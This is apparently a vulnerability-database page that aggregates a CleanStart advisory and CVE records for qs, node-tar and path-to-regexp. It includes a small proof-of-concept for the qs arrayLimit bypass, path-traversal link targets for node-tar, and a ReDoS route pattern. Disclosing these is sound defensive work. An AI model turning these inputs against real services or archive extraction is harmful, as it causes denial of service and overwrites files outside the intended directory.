Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Multiple security vulnerabilities affect the thingsboard-tb-web-ui package. These issues are resolved in later releases. See references for individual vulnerability details.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "thingsboard-tb-web-ui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.3.1-r0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Multiple security vulnerabilities affect the thingsboard-tb-web-ui package. These issues are resolved in later releases. See references for individual vulnerability details.",
"id": "CLEANSTART-2026-CB77162",
"modified": "2026-05-01T09:06:18Z",
"published": "2026-05-18T14:01:35.385818Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-CB77162.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-2391"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-26960"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-29786"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-31802"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-4867"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-34x7-hfp2-rc4v"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-37ch-88jc-xwx2"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-5359-pvf2-pw78"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-73rr-hh4g-fpgx"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-8qq5-rm4j-mr97"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r4q5-vmmm-2653"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/ghsa-r6q2-hw4h-h46w"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2391"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26960"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29786"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31802"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4867"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes for CVE-2026-2391, CVE-2026-26960, CVE-2026-29786, CVE-2026-31802, CVE-2026-4867, ghsa-34x7-hfp2-rc4v, ghsa-37ch-88jc-xwx2, ghsa-5359-pvf2-pw78, ghsa-73rr-hh4g-fpgx, ghsa-8qq5-rm4j-mr97, ghsa-r4q5-vmmm-2653, ghsa-r6q2-hw4h-h46w applied in versions: 4.2.1.1-r1, 4.2.1.1-r2, 4.3.0.1-r0, 4.3.1-r0",
"upstream": [
"CVE-2026-2391",
"CVE-2026-26960",
"CVE-2026-29786",
"CVE-2026-31802",
"CVE-2026-4867",
"ghsa-34x7-hfp2-rc4v",
"ghsa-37ch-88jc-xwx2",
"ghsa-5359-pvf2-pw78",
"ghsa-73rr-hh4g-fpgx",
"ghsa-8qq5-rm4j-mr97",
"ghsa-r4q5-vmmm-2653",
"ghsa-r6q2-hw4h-h46w"
]
}
CVE-2026-2391 (GCVE-0-2026-2391)
Vulnerability from cvelistv5 – Published: 2026-02-12 04:39 – Updated: 2026-02-12 17:32- CWE-20 - Improper Input Validation
| URL | Tags |
|---|---|
| https://github.com/ljharb/qs/security/advisories/… | vendor-advisory |
| https://github.com/ljharb/qs/commit/f6a7abff1f13d… | patch |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-2391",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-12T15:00:21.359233Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-12T15:00:40.388Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-w7fw-mjwx-w883"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"collectionURL": "https://npmjs.com/qs",
"defaultStatus": "unaffected",
"packageName": "qs",
"repo": "https://github.com/ljharb/qs",
"versions": [
{
"lessThanOrEqual": "6.14.1",
"status": "affected",
"version": "6.7.0",
"versionType": "semver"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "### Summary\u003cbr\u003eThe `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).\u003cbr\u003e\u003cbr\u003e### Details\u003cbr\u003eWhen the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `[\u0027a\u0027, \u0027b\u0027, \u0027c\u0027]`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.\u003cbr\u003e\u003cbr\u003e**Vulnerable code** (lib/parse.js: lines ~40-50):\u003cbr\u003e```js\u003cbr\u003eif (val \u0026amp;\u0026amp; typeof val === \u0027string\u0027 \u0026amp;\u0026amp; options.comma \u0026amp;\u0026amp; val.indexOf(\u0027,\u0027) \u0026gt; -1) {\u003cbr\u003e\u0026nbsp; \u0026nbsp; return val.split(\u0027,\u0027);\u003cbr\u003e}\u003cbr\u003e\u003cbr\u003eif (options.throwOnLimitExceeded \u0026amp;\u0026amp; currentArrayLength \u0026gt;= options.arrayLimit) {\u003cbr\u003e\u0026nbsp; \u0026nbsp; throw new RangeError(\u0027Array limit exceeded. Only \u0027 + options.arrayLimit + \u0027 element\u0027 + (options.arrayLimit === 1 ? \u0027\u0027 : \u0027s\u0027) + \u0027 allowed in an array.\u0027);\u003cbr\u003e}\u003cbr\u003e\u003cbr\u003ereturn val;\u003cbr\u003e```\u003cbr\u003eThe `split(\u0027,\u0027)` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).\u003cbr\u003e\u003cbr\u003e### PoC\u003cbr\u003e**Test 1 - Basic bypass:**\u003cbr\u003e```\u003cbr\u003enpm install qs\u003cbr\u003e```\u003cbr\u003e\u003cbr\u003e```js\u003cbr\u003econst qs = require(\u0027qs\u0027);\u003cbr\u003e\u003cbr\u003econst payload = \u0027a=\u0027 + \u0027,\u0027.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)\u003cbr\u003econst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };\u003cbr\u003e\u003cbr\u003etry {\u003cbr\u003e\u0026nbsp; const result = qs.parse(payload, options);\u003cbr\u003e\u0026nbsp; console.log(result.a.length); // Outputs: 26 (bypass successful)\u003cbr\u003e} catch (e) {\u003cbr\u003e\u0026nbsp; console.log(\u0027Limit enforced:\u0027, e.message); // Not thrown\u003cbr\u003e}\u003cbr\u003e```\u003cbr\u003e**Configuration:**\u003cbr\u003e- `comma: true`\u003cbr\u003e- `arrayLimit: 5`\u003cbr\u003e- `throwOnLimitExceeded: true`\u003cbr\u003e\u003cbr\u003eExpected: Throws \"Array limit exceeded\" error.\u003cbr\u003eActual: Parses successfully, creating an array of length 26.\u003cbr\u003e\u003cbr\u003e\u003cbr\u003e### Impact\u003cbr\u003eDenial of Service (DoS) via memory exhaustion.\u003cbr\u003e"
}
],
"value": "### Summary\nThe `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).\n\n### Details\nWhen the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `[\u0027a\u0027, \u0027b\u0027, \u0027c\u0027]`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.\n\n**Vulnerable code** (lib/parse.js: lines ~40-50):\n```js\nif (val \u0026\u0026 typeof val === \u0027string\u0027 \u0026\u0026 options.comma \u0026\u0026 val.indexOf(\u0027,\u0027) \u003e -1) {\n\u00a0 \u00a0 return val.split(\u0027,\u0027);\n}\n\nif (options.throwOnLimitExceeded \u0026\u0026 currentArrayLength \u003e= options.arrayLimit) {\n\u00a0 \u00a0 throw new RangeError(\u0027Array limit exceeded. Only \u0027 + options.arrayLimit + \u0027 element\u0027 + (options.arrayLimit === 1 ? \u0027\u0027 : \u0027s\u0027) + \u0027 allowed in an array.\u0027);\n}\n\nreturn val;\n```\nThe `split(\u0027,\u0027)` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).\n\n### PoC\n**Test 1 - Basic bypass:**\n```\nnpm install qs\n```\n\n```js\nconst qs = require(\u0027qs\u0027);\n\nconst payload = \u0027a=\u0027 + \u0027,\u0027.repeat(25); // 26 elements after split (bypasses arrayLimit: 5)\nconst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };\n\ntry {\n\u00a0 const result = qs.parse(payload, options);\n\u00a0 console.log(result.a.length); // Outputs: 26 (bypass successful)\n} catch (e) {\n\u00a0 console.log(\u0027Limit enforced:\u0027, e.message); // Not thrown\n}\n```\n**Configuration:**\n- `comma: true`\n- `arrayLimit: 5`\n- `throwOnLimitExceeded: true`\n\nExpected: Throws \"Array limit exceeded\" error.\nActual: Parses successfully, creating an array of length 26.\n\n\n### Impact\nDenial of Service (DoS) via memory exhaustion."
}
],
"impacts": [
{
"capecId": "CAPEC-130",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-130 Excessive Allocation"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"exploitMaturity": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
},
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 3.7,
"baseSeverity": "LOW",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-20",
"description": "CWE-20 Improper Input Validation",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-02-12T17:32:05.953Z",
"orgId": "7ffcee3d-2c14-4c3e-b844-86c6a321a158",
"shortName": "harborist"
},
"references": [
{
"tags": [
"vendor-advisory"
],
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-w7fw-mjwx-w883"
},
{
"tags": [
"patch"
],
"url": "https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482"
}
],
"source": {
"discovery": "UNKNOWN"
},
"title": "qs\u0027s arrayLimit bypass in comma parsing allows denial of service",
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "7ffcee3d-2c14-4c3e-b844-86c6a321a158",
"assignerShortName": "harborist",
"cveId": "CVE-2026-2391",
"datePublished": "2026-02-12T04:39:42.914Z",
"dateReserved": "2026-02-12T03:52:09.332Z",
"dateUpdated": "2026-02-12T17:32:05.953Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-26960 (GCVE-0-2026-26960)
Vulnerability from cvelistv5 – Published: 2026-02-20 01:07 – Updated: 2026-02-20 15:35- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
| URL | Tags |
|---|---|
| https://github.com/isaacs/node-tar/security/advis… | x_refsource_CONFIRM |
| https://github.com/isaacs/node-tar/commit/2cb1120… | x_refsource_MISC |
| https://github.com/isaacs/node-tar/commit/d18e4e1… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-26960",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-02-20T15:29:17.653825Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-02-20T15:35:27.586Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "node-tar",
"vendor": "isaacs",
"versions": [
{
"status": "affected",
"version": "\u003c 7.5.8"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "node-tar is a full-featured Tar for Node.js. When using default options in versions 7.5.7 and below, an attacker-controlled archive can create a hardlink inside the extraction directory that points to a file outside the extraction root, enabling arbitrary file read and write as the extracting user. Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive. This issue has been fixed in version 7.5.8."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 7.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-02-20T01:07:52.979Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/isaacs/node-tar/security/advisories/GHSA-83g3-92jg-28cx",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-83g3-92jg-28cx"
},
{
"name": "https://github.com/isaacs/node-tar/commit/2cb1120bcefe28d7ecc719b41441ade59c52e384",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/isaacs/node-tar/commit/2cb1120bcefe28d7ecc719b41441ade59c52e384"
},
{
"name": "https://github.com/isaacs/node-tar/commit/d18e4e1f846f4ddddc153b0f536a19c050e7499f",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/isaacs/node-tar/commit/d18e4e1f846f4ddddc153b0f536a19c050e7499f"
}
],
"source": {
"advisory": "GHSA-83g3-92jg-28cx",
"discovery": "UNKNOWN"
},
"title": "node-tar has Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in Extraction"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-26960",
"datePublished": "2026-02-20T01:07:52.979Z",
"dateReserved": "2026-02-16T22:20:28.611Z",
"dateUpdated": "2026-02-20T15:35:27.586Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-29786 (GCVE-0-2026-29786)
Vulnerability from cvelistv5 – Published: 2026-03-07 15:32 – Updated: 2026-03-09 18:26| URL | Tags |
|---|---|
| https://github.com/isaacs/node-tar/security/advis… | x_refsource_CONFIRM |
| https://github.com/isaacs/node-tar/commit/7bc755d… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-29786",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-09T17:52:29.312917Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-09T18:26:34.057Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "node-tar",
"vendor": "isaacs",
"versions": [
{
"status": "affected",
"version": "\u003c 7.5.10"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "node-tar is a full-featured Tar for Node.js. Prior to version 7.5.10, tar can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This issue has been patched in version 7.5.10."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "LOW",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "HIGH",
"userInteraction": "PASSIVE",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L",
"version": "4.0",
"vulnAvailabilityImpact": "LOW",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
},
{
"descriptions": [
{
"cweId": "CWE-59",
"description": "CWE-59: Improper Link Resolution Before File Access (\u0027Link Following\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-07T15:32:22.748Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96"
},
{
"name": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f"
}
],
"source": {
"advisory": "GHSA-qffp-2rhf-9h96",
"discovery": "UNKNOWN"
},
"title": "node-tar: Hardlink Path Traversal via Drive-Relative Linkpath"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-29786",
"datePublished": "2026-03-07T15:32:22.748Z",
"dateReserved": "2026-03-04T16:26:02.899Z",
"dateUpdated": "2026-03-09T18:26:34.057Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-31802 (GCVE-0-2026-31802)
Vulnerability from cvelistv5 – Published: 2026-03-09 21:11 – Updated: 2026-03-10 14:56- CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
| URL | Tags |
|---|---|
| https://github.com/isaacs/node-tar/security/advis… | x_refsource_CONFIRM |
| https://github.com/isaacs/node-tar/commit/f48b5fa… | x_refsource_MISC |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-31802",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-10T14:56:31.266727Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-10T14:56:35.229Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "node-tar",
"vendor": "isaacs",
"versions": [
{
"status": "affected",
"version": "\u003c 7.5.11"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "node-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11."
}
],
"metrics": [
{
"cvssV4_0": {
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "LOCAL",
"baseScore": 8.2,
"baseSeverity": "HIGH",
"privilegesRequired": "NONE",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "HIGH",
"userInteraction": "NONE",
"vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "HIGH"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-22",
"description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-09T21:11:56.668Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256"
},
{
"name": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad"
}
],
"source": {
"advisory": "GHSA-9ppj-qmqm-q256",
"discovery": "UNKNOWN"
},
"title": "node-tar Symlink Path Traversal via Drive-Relative Linkpath"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-31802",
"datePublished": "2026-03-09T21:11:56.668Z",
"dateReserved": "2026-03-09T16:33:42.913Z",
"dateUpdated": "2026-03-10T14:56:35.229Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-4867 (GCVE-0-2026-4867)
Vulnerability from cvelistv5 – Published: 2026-03-26 16:16 – Updated: 2026-03-26 16:52- CWE-1333 - Inefficient Regular Expression Complexity
| Vendor | Product | Version | |
|---|---|---|---|
| path-to-regexp | path-to-regexp |
Affected:
0 , < 0.1.13
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-4867",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-03-26T16:52:08.810671Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-03-26T16:52:14.893Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/path-to-regexp",
"product": "path-to-regexp",
"vendor": "path-to-regexp",
"versions": [
{
"lessThan": "0.1.13",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "reporter",
"value": "EthanKim88"
},
{
"lang": "en",
"type": "remediation developer",
"value": "blakeembrey"
},
{
"lang": "en",
"type": "remediation reviewer",
"value": "UlisesGascon"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "Impact:\n\nA bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (.). For example, /:a-:b-:c or /:a-:b-:c-:d. The backtrack protection added in path-to-regexp@0.1.12 only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking.\n\nPatches:\n\nUpgrade to path-to-regexp@0.1.13\n\nCustom regex patterns in route definitions (e.g., /:a-:b([^-/]+)-:c([^-/]+)) are not affected because they override the default capture group.\n\nWorkarounds:\n\nAll versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change /:a-:b-:c to /:a-:b([^-/]+)-:c([^-/]+).\n\nIf paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length."
}
],
"value": "Impact:\n\nA bad regular expression is generated any time you have three or more parameters within a single segment, separated by something that is not a period (.). For example, /:a-:b-:c or /:a-:b-:c-:d. The backtrack protection added in path-to-regexp@0.1.12 only prevents ambiguity for two parameters. With three or more, the generated lookahead does not block single separator characters, so capture groups overlap and cause catastrophic backtracking.\n\nPatches:\n\nUpgrade to path-to-regexp@0.1.13\n\nCustom regex patterns in route definitions (e.g., /:a-:b([^-/]+)-:c([^-/]+)) are not affected because they override the default capture group.\n\nWorkarounds:\n\nAll versions can be patched by providing a custom regular expression for parameters after the first in a single segment. As long as the custom regular expression does not match the text before the parameter, you will be safe. For example, change /:a-:b-:c to /:a-:b([^-/]+)-:c([^-/]+).\n\nIf paths cannot be rewritten and versions cannot be upgraded, another alternative is to limit the URL length."
}
],
"metrics": [
{
"cvssV3_1": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333: Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-26T16:16:25.501Z",
"orgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"shortName": "openjs"
},
"references": [
{
"url": "https://github.com/advisories/GHSA-9wv6-86v2-598j"
},
{
"url": "https://blakeembrey.com/posts/2024-09-web-redos"
},
{
"url": "https://cna.openjsf.org/security-advisories.html"
}
],
"title": "path-to-regexp vulnerable to Regular Expression Denial of Service via multiple route parameters",
"x_generator": {
"engine": "cve-kit 1.0.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "ce714d77-add3-4f53-aff5-83d477b104bb",
"assignerShortName": "openjs",
"cveId": "CVE-2026-4867",
"datePublished": "2026-03-26T16:16:25.501Z",
"dateReserved": "2026-03-25T20:11:53.714Z",
"dateUpdated": "2026-03-26T16:52:14.893Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GHSA-34X7-HFP2-RC4V
Vulnerability from github – Published: 2026-01-28 16:35 – Updated: 2026-01-28 16:35Summary
node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.
Details
The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:
Security check in [STRIPABSOLUTEPATH]:
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
